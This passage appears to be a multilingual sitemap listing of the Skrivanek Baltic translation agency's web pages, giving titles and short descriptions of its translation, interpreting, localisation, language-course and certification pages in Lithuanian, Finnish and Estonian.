žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [Finansai ir bankininkystė](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/): Kokybiški sprendimai finansų ir bankininkystės sektoriui: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [Anglų kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/): Kalbų sprendimai daugiau nei 300 anglų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir t. t. Gaukite nemokamą pasiūlymą per 15 minučių! - [Sprendimai](https://skrivanek.lv/pakalpojumi/): Esame pasiruošę padėti jums sėkmės kelyje: vertimas raštu, vertimas žodžiu, lokalizavimas, kalbos mokymas ir t. t. Daugiau nei 25 metų patirtis. - [Kontaktai](https://skrivanek.lv/kontakti/): Užpildydami kontaktinę formą užduokite klausimą arba paprašykite pasiūlymo! Darbo valandos: I–V nuo 8.30 iki 18.00 | Lāčplēša 87C, Ryga birojs@skrivanek.lv! - [DUK](https://skrivanek.lv/biezak-uzdotie-jautajumi/): Klausimai ir atsakymai apie „Skrivanek Baltic“ kalbų paslaugų teikėjo paslaugas. Neradote atsakymo į savo klausimą? Susisiekite su mumis! - [Skrivanek Baltic](https://skrivanek.lv/): Daugiau nei 25 metų patirtį turinti kalbų paslaugų teikėja: profesionalios ir kokybiškos kalbų paslaugos įmonėms ir privatiems asmenims. Susisiekite su mumis! - [Norvegų kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/): Kalbų sprendimai daugiau nei 300 norvegų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - [Suomių kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/): Kalbų sprendimai daugiau nei 300 suomių kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - [Švedų kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/): Kalbų sprendimai daugiau nei 300 švedų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - [Estų kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/): Kalbų sprendimai daugiau nei 300 estų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - [Ispanų kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/): Kalbų sprendimai daugiau nei 300 ispanų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - [Vokiečių kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/): Kalbų sprendimai daugiau nei 300 vokiečių kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - [Lietuvių kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/): Kalbų sprendimai daugiau nei 300 lietuvių kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - [Lenkų kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/): Kalbų sprendimai daugiau nei 300 lenkų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - [Italų kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/): Kalbų sprendimai, susiję su daugiau nei 300 italų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - [Prancūzų kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/): Kalbų sprendimai, susiję su daugiau nei 300 prancūzų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - [Lokalizacija](https://skrivanek.lv/pakalpojumi/lokalizacija/): Lokalizacija, vertimas raštu ir žodžiu daugiau nei 110 kalbų! Profesionalus vertimų biuras, turintis 25 metų patirtį. Gaukite nemokamą pasiūlymą! - [Rusų kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/): Kalbų sprendimai daugiau nei 300 rusų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - [Vertimo įrankiai](https://skrivanek.lv/pakalpojumi/tulkosanas-riki/): Vertimo įrankiai (CAT) – tai speciali programinė įranga vertėjams, skirta kokybei ir našumui didinti. Sužinokite apie jų privalumus! - [Kalbos](https://skrivanek.lv/?page_id=5): Vertimo raštu, vertimo žodžiu ir kitos kalbų paslaugos visomis populiariausiomis Europos kalbų kombinacijomis. Susisiekite su mumis: birojs@skrivanek.lv! - [Kitos Kalbos](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/): Vertimo raštu, vertimo žodžiu ir kitos kalbų paslaugos šiuo metu populiariais Europos kalbų deriniais. Gaukite nemokamą pasiūlymą! - [Specialūs pasiūlymai](https://skrivanek.lv/ipasie-piedavajumi/): [vc_column... - [Kalbos kodai](https://skrivanek.lv/valodu-kodi/): ISO 639-1 kalbų kodai reiškia pagrindinių pasaulio kalbų pavadinimus. Tai... - [Mašininis vertimas įmonėms](https://skrivanek.lv/masintulkosana-uznemumiem/): [vc_column width=”1/2″ css=”. vc_custom_1616686373293{padding-right:... - [Vertimo kainos](https://skrivanek.lv/pakalpojumi/tulkosanas-cenas/): Vertimo kaina mūsų įmonėje apskaičiuojama pagal žodžių skaičių dokumente originalo kalba. Iš anksto... - [Kalbos mokymai](https://skrivanek.lv/pakalpojumi/valodu-kursi/): Greitai ir efektyviai mokykitės kalbų „Skrivanek“ mokymo centre. Aukštos kvalifikacijos vietiniai ir užsienio mokytojai. Sužinokite daugiau! - [Komercinės sąlygos](https://skrivanek.lv/komercnoteikumi/): „Skrivanek“ yra daugiau nei 25 metų patirtį turinti kalbų paslaugų teikėja, teikianti profesionalias ir kokybiškas kalbų paslaugas įmonėms ir privatiems asmenims. - [EN ISO 14001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/): Šis sertifikatas įrodo, kad esame įsipareigoję rūpintis aplinka, įskaitant aplinkai nekenksmingų technologijų ir medžiagų naudojimą, perdirbimą ir kt. - [Išmokite rusų kalbos](https://skrivanek.lv/lt/sprendimai/kalbos-mokymai/ismokite-rusu-kalbos/): Rusų kalbos mokymai privatiems asmenims ir įmonėms. Gyvai arba internetu. Efektyvus mokymosi metodas. Profesionalūs mokytojai. Susisiekite su mumis! - [Elgesio kodeksas](https://skrivanek.lv/etikas-kodekss/): „Skrivanek Baltic“ kalbų paslaugų teikėjo profesinės etikos ir elgesio principai yra privalomi ir mūsų bendradarbiavimo partneriams. - [„Google Ads“ ir SEO vertimai](https://skrivanek.lv/pakalpojumi/lokalizacija/google-ads-un-seo-tulkojumi/): Lokalizuosime jūsų svetainę pagal SEO principus ir pritaikysime ją „GoogleAds“, kad visi potencialūs klientai galėtų lengvai jus rasti! - [Nuoseklusis vertimas](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/seciga-konsekutiva-tulkosana/): Nuosekliojo vertimo žodžiu paslaugos iš daugiau nei 40 kalbų visais darbo ir gyvenimo atvejais. Vietiniai ir užsienio vertėjai žodžiu. Susisiekite su mumis! - [Sinchroninis vertimas](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/sinhrona-tulkosana/): Sinchroninis vertimas žodžiu konferencijose, susitikimuose ir kituose renginiuose daugiau nei 40 kalbų. Sinchroninio vertimo įrangos nuoma. Daugiau nei 25 metų patirtis. - [EN 17100](https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/): Tai įrodo, kad mūsų vertimo specialistų atranka, darbo procesas, technologijų naudojimas ir kiti pramonei būdingi aspektai atitinka reikalavimus. - [Kas mes tokie?](https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/): Kokybiškos kalbų paslaugos įmonėms ir privatiems asmenims. Esame sertifikuoti pagal ISO 9001, EN 17100 ir ISO 27001. Sužinokite daugiau! - [Privatumo politika](https://skrivanek.lv/privatuma-politika/): Tarptautinių kalbų paslaugų teikėjo „Skrivanek Baltic“ privatumo politika. Bendrovės duomenų apsaugos specialistas Uldis Krūmiņš: dpo@skrivanek.lv. - [Išmokite latvių kalbos](https://skrivanek.lv/lt/sprendimai/kalbos-mokymai/ismokite-latviu-kalbos/): Latvių kalbos mokymai privatiems asmenims ir įmonėms. Mokykitės latvių kalbos asmeniškai arba internetu. Profesionalūs mokytojai. Efektyvus mokymosi metodas. - [Konferencijų vertimas žodžiu](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/konferencu-tulkosana/): Profesionalus vertimas žodžiu – tai raktas į jūsų konferencijos produktyvumą! Vertimas žodžiu konferencijose ir organizavimas. Daugiau nei 25 metų patirtis. Susisiekite su mumis! - [Vertimas žodžiu teisme](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/tiesas-sezu-tulkosana/): Užtikriname vertimą žodžiu teismo posėdžiuose. Mūsų vertėjai žodžiu yra patyrę ir gerai išmano teisinę terminologiją. Susisiekite su mumis! - [Karjera](https://skrivanek.lv/karjera/): Sužinokite daugiau apie mūsų įdarbinimo procesą perskaitę mūsų reikalavimus ir bendradarbiavimo sąlygas. Prisijunkite prie mūsų! - [Bendradarbiavimo partneriai](https://skrivanek.lv/sadarbibas-partneri/): [vc_column width=”1/2″ css_animation=”none” css=”. vc_custom_1612455790133{border-right-width: 2px ! important;border-right-color: #b3110d... - [Notaro patvirtintas vertimas](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/notariali-apliecinats-tulkojums/): „Skrivanek“ siūlo notaro patvirtintus vertimus į daugiau nei 110 kalbų. Susisiekite su mumis ir susitarsime dėl jums patogiausio sprendimo. - [E-mokymosi turinio ir sprendimų lokalizavimas](https://skrivanek.lv/pakalpojumi/lokalizacija/e-macibu-satura-un-risinajumu-lokalizacija/): Naudodamiesi interneto galimybėmis į savo verslą galite pritraukti klientų iš viso pasaulio. Jei... - [Skaitmeninės rinkodaros turinio lokalizavimas](https://skrivanek.lv/pakalpojumi/lokalizacija/digitala-marketinga-satura-lokalizacija/): Skaitmeninė rinkodara, įskaitant interneto svetaines ir apgalvotas internetinės žiniasklaidos kampanijas, užkariauja klientų širdis... - [Informacijos saugumo politika](https://skrivanek.lv/kvalitate-un-drosiba/informacijas-drosibas-politika/) - [Kokybės ir aplinkosaugos valdymo politika](https://skrivanek.lv/kvalitate-un-drosiba/kvalitates-un-vides-vadibas-integreta-politika/) - [Kompiuterinė-leidyba](https://skrivanek.lv/pakalpojumi/dtp-tekstu-grafiska-apstrade/): TECHNOLOGIJOS IR... - [Internetinių renginių organizavimas ir vertimas žodžiu](https://skrivanek.lv/tiessaistes-pasakumu-rikosana/): Pasaulis keičiasi, o mes keičiamės kartu su juo. Jau kurį laiką gyvus susitikimus,... - [Darbuotojų, tiekėjų ir partnerių politika](https://skrivanek.lv/politika-darbiniekiem-piegadatajiem-un-sadarbibas-partneriem/) - [Tulkojumi albāņu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-albanu-valoda/): Rakstiski un mutiski tulkojumi albāņu valodā. Saņemiet cenas aprēķinu bez maksas tikai 15 minūtes! Sazinieties ar mums! - [Tulkojumi uzbeku valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-uzbeku-valoda/): Rakstiski un mutiski tulkojumi uzbeku valodā. Saņemiet cenas aprēķinu bez maksas tikai 15 minūtes! Sazinieties ar mums! - [Tulkojumi japāņu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-japanu-valoda/): Rakstiski un mutiski tulkojumi japāņu valodā. Saņemiet cenas aprēķinu bez maksas tikai 15 minūtes! Sazinieties ar mums! - [Tulkojumi horvātu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-horvatu-valoda/): Rakstiski un mutiski tulkojumi horvātu valodā. Saņemiet cenas aprēķinu bez maksas tikai 15 minūtes! Sazinieties ar mums! - [Keitä me olemme?](https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/): Laadukkaat kielipalvelut yrityksille ja yksityishenkilöille. Yksi maailman suurimmista kielipalvelujen tarjoajista. Tutustu tarkemmin! - [Ilmoitus evästeiden käytöstä](https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/): MITÄ EVÄSTEET OVAT? Evästeet... - [Esimerkkitapaus](https://skrivanek.lv/gadijumu-izpete/): [vc_column... - [Biomet](https://skrivanek.lv/gadijumu-izpete/biomet/): Loppuasiakas: Biomet Projekti: kääntäminen –... - [Euroopan komissio](https://skrivanek.lv/gadijumu-izpete/eiropas-komisija/): Loppuasiakas Euroopan komissio Projekti:... - [GE Healthcare](https://skrivanek.lv/gadijumu-izpete/ge-healthcare/): Loppuasiakas: GE Healthcare Projekti: lääketeknisten... - [Geutebrück](https://skrivanek.lv/gadijumu-izpete/geutebruck/): Loppuasiakas: Geutebrück Projekti: kääntäminen – tekniset... - [Kallfass](https://skrivanek.lv/gadijumu-izpete/kallfass/): Loppuasiakas: Kallfass Projekti: kääntäminen... - [Laatu ja turvallisuus](https://skrivanek.lv/kvalitate-un-drosiba/): Palvelujen laadun parantamiseksi ja turvatoimien parantamiseksi Skrivanek on ottanut käyttöön useita hallintajärjestelmiä. - [EN ISO 9001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/): Tämä sertifikaatti on todiste siitä, että Skrivanekin palvelujen laatu vastaa asiakkaiden odotuksia ja lakisääteisiä vaatimuksia. - [EN ISO 14001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/): Tämä sertifikaatti todistaa sitoutumisemme ympäristöön, mukaan lukien ympäristöystävällisten teknologioiden ja materiaalien käyttö, kierrätys jne. - [EN 17100](https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/): Tämä todistaa, että käännösasiantuntijoiden rekrytointi, työprosessi, teknologian käyttö ja muut alakohtaiset näkökohdat täyttävät vaatimukset. - [ISO/IEC 27001](https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/): Koska yksi Skrivanekin arvoista on vastuullisuus asiakkaita kohtaan, johon kuuluu myös tietoturva, olemme ottaneet käyttöön tietoturvallisuuden hallintajärjestelmän. - [Kaupalliset ehdot](https://skrivanek.lv/komercnoteikumi/): 1. YLEISET KÄYTTÖEHDOT 1. 1. Nämä yleiset kaupalliset ehdot ovat SIA Skrivanek Balticin, rekisterinumero:... - [Yksityisyyspolitiikka](https://skrivanek.lv/privatuma-politika/): [vc_toggle title=”1 Henkilötietojen käsittelyyn... - [Tulkkaus](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/): Tulkkauksista on apua konferensseissa, liiketapaamisissa ja muissa kansainvälisissä toimissa. Pyydä tulkkauspalvelutarjous Skrivanekilta! - [Toimialat](https://skrivanek.lv/tulkosanas-nozares/): Kääntäjillämme on taustaa lääketieteestä, juridiikasta, tekniikasta ja muista aloista, mikä auttaa varmistamaan parhaat tulokset. ⭐ - [Skrivanek Baltic](https://skrivanek.lv/): Kielipalvelujen tarjoaja, jolla on yli 25 vuoden kokemus: ammattimaisia kielipalveluja yrityksille ja yksityishenkilöille. Ota meihin yhteyttä! - [Käännökset](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/): Yli 25 vuotta markkinoilla! Käännämme lähes kaikenlaisia ja -muotoisia asiakirjoja. Saat ilmaisen tarjouksen 15 minuutissa! - [Viron kieli](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/): Yleis- ja erikoiskäännökset viron kielellä. Tulkkaus ja muut virolaiset kieliratkaisut. Pyydä ilmainen tarjous! - [Talous ja pankki](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/): Laadukkaita ratkaisuja rahoitus- ja pankkialalle: kääntäminen, tulkkaus, notaarin oikeaksi todistamat käännökset ja kielikoulutus. - [HR](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/): Laadukkaat ratkaisut henkilöstöalalle: kääntäminen, tulkkaus. Lokalisointi ja kielikoulutus. Tutustu tarkemmin! - [IT ja pelaaminen](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/): Laadukkaita ratkaisuja IT- ja pelialalle: kääntäminen, tulkkaus, lokalisointi ja kielikoulutus. Tutustu tarkemmin! - [Vakuutusala](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/): Vakuutusala on luottamukseen perustuva ala, jolla vain ammattilaiset... - [Mainonta ja markkinointi](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/): Laadukkaita ratkaisuja mainontaan ja markkinointiin: käännökset, tulkkaus, notaarin varmentaminen. Lokalisointi ja kielikoulutus. - [Kauppa](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/): Laadukkaita kieliratkaisuja kaupan alalle: kääntäminen, tulkkaus, lokalisointi ja kielikoulutus. Lue lisää! - [Laki](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/): Laadukkaita kieliratkaisuja lakialalle: käännökset, tulkkaus, notaarin varmentamat käännökset ja kielikoulutus. - [Tekniikka ja rautatiet](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/): Laadukkaat ratkaisut konepaja- ja rautatiealalle: käännökset, tulkkaukset, notaarin oikeaksi todistamat käännökset, lokalisointi ja kielikoulutus - [Matkailu](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/): Laadukkaita kieliratkaisuja matkailualalle: kääntäminen, tulkkaus, lokalisointi ja kielikoulutus. Tutustu tarkemmin! - [Hallinto- ja kuntalaitokset](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/): Kieliratkaisut valtion ja kuntien laitoksille: kääntäminen, tulkkaus, notaarin oikeaksi todistamat käännökset ja kielikoulutus. - [Rakentaminen](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/): Laadukkaita ratkaisuja rakennusteollisuudelle: kääntäminen, tulkkaus, notaarin varmentaminen. Lokalisointi ja kielikoulutus. Lue lisää! - [Maa- ja metsätalous](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/): Laadukkaat kieliratkaisut maa- ja metsätaloudelle: kääntäminen, tulkkaus, notaarin varmentaminen. Lokalisointi ja kielikoulutus. Lue lisää! - [Lääketiede ja kliiniset tutkimukset](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/): Laadukkaat, lääketieteen alaan liittyvät palvelut: kääntäminen, tulkkaus, notaarin oikeaksi todistamat käännökset, lokalisointi ja kielikoulutus. - [Valmistus](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/): Laadukkaita ratkaisuja valmistusteollisuudelle: kääntäminen, tulkkaus, lokalisointi ja kielikoulutus. Lue lisää! - [Norjan kieli](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/): Yleis- ja erikoiskäännökset norjan kielellä. Tulkkaus, lokalisointi ja muut norjan kielen ratkaisut. Ota meihin yhteyttä! - [Puolan kieli](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/): Yleis- ja erikoiskäännökset, tulkkaus, lokalisointi ja muut puolan kielen ratkaisut. Pyydä ilmainen tarjous 15 minuutin kuluessa! - [Ranskan kieli](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/): Yleis- ja erikoiskäännökset, notaarin oikeaksi todistamat käännökset, tulkkaus ja muut ranskan kielen ratkaisut. - [Ruotsin kieli](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/): Yleis- ja erikoiskäännökset, notaarin oikeaksi todistamat käännökset, tulkkaus, lokalisointi ja ruotsin kielen kurssit. Ota yhteyttä! - [Saksan kieli](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/): Erikois- ja yleiskäännökset, notaarin oikeaksi todistamat käännökset, tulkkaus, kielikurssit ja muut saksan kielen ratkaisut. - [Tanskan kieli](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/): Tanskan kielen erikoiskäännökset ja yleiskäännökset. Tulkkaus ja muut tanskan kielen ratkaisut. Ota yhteyttä! - [Venäjän kieli](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/): Yleiset ja erikoistuneet, notaarin oikeaksi todistamat käännökset, tulkkaus, lokalisointipalvelut. Venäjän kielen kurssit. - [Italian keili](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/): Yleiset ja erikoistuneet, notaarin valtuuttamat käännökset italian kielellä. Tulkkauspalvelut ja italian kielen kurssit. - [Kreikan kieli](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/): Erikoistuneet ja yleiskäännökset kreikan kielellä. Tulkkauspalvelut ja muut kreikan kielen ratkaisut. Pyydä ilmainen tarjous! - [Liettuan kieli](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/): Yleiset ja erikoistuneet, notaarin oikeaksi todistamat käännökset liettuan kielellä. Tulkkaus ja muut liettuan kielen ratkaisut. - [Usein kysytyt kysymykset](https://skrivanek.lv/biezak-uzdotie-jautajumi/): Usein kysyttyjä kysymyksiä ja vastauksia Skrivanekin Baltian kielipalveluista. Etkö löytänyt vastausta kysymykseen? Ota yhteyttä! - [Yhteystiedot](https://skrivanek.lv/kontakti/): Esitä kysymys tai pyydä ilmainen tarjous täyttämällä yhteydenottolomake! | Lāčplēša 87C, Riika | birojs@skrivanek.lv. - [Englannin kieli](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/): Yleis- ja erikoiskäännökset englanniksi. Notaarin oikeaksi todistamat käännökset. Tulkkauspalvelut ja muut englanninkieliset ratkaisut. - [Espanjan kieli](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/): Yleis- ja erikoiskäännökset, notaarin oikeaksi todistamat käännökset, tulkkauspalvelut ja muut espanjankieliset ratkaisut. Espanjan kielen kurssit. - [Üldised äritingimused](https://skrivanek.lv/komercnoteikumi/): 1. PÕHISÄTTED 1. 1. Šie vispārējie komercnoteikumi nosaka SIA “Skrivanek Baltic”, reģistrācijas numurs: 40003626172,... - [Juhtumianalüüs](https://skrivanek.lv/gadijumu-izpete/): [vc_column... - [Biomet](https://skrivanek.lv/gadijumu-izpete/biomet/): Lõppklient: Biomet Projekt: tõlkimine –... - [Euroopa Komisjon](https://skrivanek.lv/gadijumu-izpete/eiropas-komisija/): Lõppklient: Euroopa Komisjon Projekt: õigus-,... - [GE Healthcare](https://skrivanek.lv/gadijumu-izpete/ge-healthcare/): Lõppklient: GE Healthcare Projekt: meditsiinitehniliste juhendite... - [Geutebrück](https://skrivanek.lv/gadijumu-izpete/geutebruck/): Lõppklient: Geutebrück Projekt: tõlkimine –... - [Kallfass](https://skrivanek.lv/gadijumu-izpete/kallfass/): Lõppklient: Kallfass Projekt: tõlkimine –... - [Kokybė ir sauga](https://skrivanek.lv/kvalitate-un-drosiba/): Priimtos vadybos sistemos (ISO 9001, ISO 14001, EN 17100, ISO / IEC 27001) patvirtina, kad prisiimame atsakomybę už tai, ką darome, ir laikomės terminų! - [Pranešimų apie pažeidimus teikimas](https://skrivanek.lv/trauksmes-celsana/): SIA „Skrivanek Baltic“ kontaktinis asmuo, atsakingas už pranešimų apie pažeidimus teikimą, yra Jeļena... - [EN ISO 14001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/): See sertifikaat tõestab meie pühendumust keskkonnale, sealhulgas keskkonnasõbralike tehnoloogiate ja materjalide kasutamist, ringlussevõttu jne. - [EN 17100](https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/): See tõestab, et meie tõlkespetsialistide värbamine, tööprotsess, tehnoloogiate kasutamine ja muud valdkondlikud aspektid vastavad nõuetele. - [](https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/) - [ISO/IEC 27001](https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/): Kuna üks Skrivaneki väärtusi on vastutus klientide ees, mis hõlmab ka andmete turvalisust, oleme võtnud kasutusele infoturbe juhtimissüsteemi. - [Meditsiin ja kliinilised uuringud](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/): Meditsiini- ja kliiniliste uuringute sektor on valdkonnad, kus ollakse eriti nõudlikud ja... - [Personalitöö ja inimressursid (HR)](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/): Kvaliteetsed lahendused personalitööstusele: kirjalik ja suuline tõlge. Lokaliseerimine ja keelekoolitus. Lisateave! - [Põllumajandus ja metsandus](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/): Põllumajandus- ja metsandustööstusel on Eesti majanduses äärmiselt oluline roll, kuid nende areng... - [Reklaam ja turundus](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/): Kahtlemata olete teadlik, kui oluline võib olla õige sõnade valik. [vc_row full_width=”stretch_row_content” equal_height=”yes” content_placement=”top”... - [Riigi- ja omavalitsusasutused](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/): Keelelahendused riigi- ja munitsipaalasutuste jaoks: kirjalik ja suuline tõlge, notariaalselt kinnitatud tõlked ja keeleõpe. - [Tehnoloogia- ja raudteesektor](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/): Tehnoloogia- ja raudteesektoris on täpsus ja punktuaalsus väga olulised tegurid. Teate kindlasti... - [Turism](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/): Turismisektor kasvab ja areneb üha kiiremini ning kõik selle valdkonna esindajad soovivad... - [Töötlev tööstus](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/): Vaid tugevad ettevõtted, kes valivad hoolikalt oma koostööpartnereid, on võimelised tagama töötlevas... - [Õigus](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/): Teie tegutsemine õigusvaldkonnas mõjutab lugematul arvul teisi eluvaldkondi ja tööprotsesse, isegi inimsaatust,... - [Ehitus](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/): Tehniliselt täpsed tõlked ehitusalastele dokumentidele: joonised, plaanid, lepingud, eeskirjad, ehitusload, sertifikaadid ja muu. Loe lähemalt! - [Tõlked leedu keelde ja keelest](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/): Asjatundlikud tõlked kreeka keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Norra keel](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/): Asjatundlikud tõlked leedu keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Poola keel](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/): Asjatundlikud tõlked poola keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Prantsuse keel](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/): Asjatundlikud tõlked prantsuse keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Rootsi keel](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/): Asjatundlikud tõlked rootsi keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Saksa keel](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/): Asjatundlikud tõlked saksa keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Soome keel](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/): Asjatundlikud tõlked soome keelde ja keelest. Loe 